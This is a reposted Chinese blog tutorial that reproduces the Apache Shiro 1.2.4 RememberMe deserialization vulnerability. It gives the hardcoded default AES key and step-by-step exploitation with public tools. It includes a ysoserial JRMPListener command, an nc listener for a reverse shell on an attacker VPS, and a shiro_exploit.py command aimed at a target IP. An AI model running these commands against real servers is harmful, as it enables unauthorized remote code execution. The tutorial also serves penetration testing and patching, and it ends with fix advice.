当前位置: 首页 >Java技术 > 【漏洞复现】Shiro<=1.2.4反序列化漏洞

【漏洞复现】Shiro<=1.2.4反序列化漏洞

0x01 概述

 

Shiro简介

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

漏洞概述

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。 在服务端接收cookie值时,按照如下步骤来解析处理:

1、检索RememberMe cookie 的值
2、Base64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)

在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞

利用条件

需要知道key(AES加密密钥)

Shiro1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为:kPH+bIxk5D2deZiIxcaaaA==

尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。

 

0x02 检测与利用

特征

1、登录页面的响应包的Set-Cookie中存在rememberMe=deleteMe
2、登陆后Cookie中有rememberMe=

工具检测与利用

工具1:ShiroExploit.jar + ysoserial.jar

下载地址:https://github.com/feihong-cs/ShiroExploit

1、输入待测URL

【漏洞复现】Shiro<=1.2.4反序列化漏洞 _ JavaClub全栈架构师技术笔记

2、选择检测方式

(1)选择使用哪种方式检测

【漏洞复现】Shiro<=1.2.4反序列化漏洞 _ JavaClub全栈架构师技术笔记

(2)自动遍历寻找key

【漏洞复现】Shiro<=1.2.4反序列化漏洞 _ JavaClub全栈架构师技术笔记

(3)自动寻找可用Gadget

【漏洞复现】Shiro<=1.2.4反序列化漏洞 _ JavaClub全栈架构师技术笔记

3、执行命令(需要编码,在线转换地址:http://www.jackson-t.ca/runtime-exec-payloads.html

(1)执行命令(手动编码后执行)

手动编码

【漏洞复现】Shiro<=1.2.4反序列化漏洞 _ JavaClub全栈架构师技术笔记

执行命令

【漏洞复现】Shiro<=1.2.4反序列化漏洞 _ JavaClub全栈架构师技术笔记

执行成功

【漏洞复现】Shiro<=1.2.4反序列化漏洞 _ JavaClub全栈架构师技术笔记

 

(2)直接反弹shell(工具自动编码执行)

【漏洞复现】Shiro<=1.2.4反序列化漏洞 _ JavaClub全栈架构师技术笔记

工具2:shiro_exploit.py + ysoserial.jar

下载地址:https://github.com/insightglacier/Shiro_exploit

(1)VPS开启JRMP监听

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 '编码后的命令'

【漏洞复现】Shiro<=1.2.4反序列化漏洞 _ JavaClub全栈架构师技术笔记

(2)VPS开启nc

nc -l 8080

(3)本地执行shiro_exploit.py

python2 shiro_exploit.py -u "http://192.168.17.157:8080" -t 2 -g JRMPClient -p "VPS_IP:1099" -k "kPH+bIxk5D2deZiIxcaaaA=="

【漏洞复现】Shiro<=1.2.4反序列化漏洞 _ JavaClub全栈架构师技术笔记

 

0x03 修复建议

1、升级最新版Shiro

2、不要硬编码

作者:0nth3way
来源链接:https://www.cnblogs.com/0nth3way/p/13928373.html

版权声明:
1、JavaClub(https://www.javaclub.cn)以学习交流为目的,由作者投稿、网友推荐和小编整理收藏优秀的IT技术及相关内容,包括但不限于文字、图片、音频、视频、软件、程序等,其均来自互联网,本站不享有版权,版权归原作者所有。

2、本站提供的内容仅用于个人学习、研究或欣赏,以及其他非商业性或非盈利性用途,但同时应遵守著作权法及其他相关法律的规定,不得侵犯相关权利人及本网站的合法权利。
3、本网站内容原作者如不愿意在本网站刊登内容,请及时通知本站(javaclubcn@163.com),我们将第一时间核实后及时予以删除。





本文链接:https://www.javaclub.cn/java/112861.html

标签:Shiro
分享给朋友:

“【漏洞复现】Shiro<=1.2.4反序列化漏洞” 的相关文章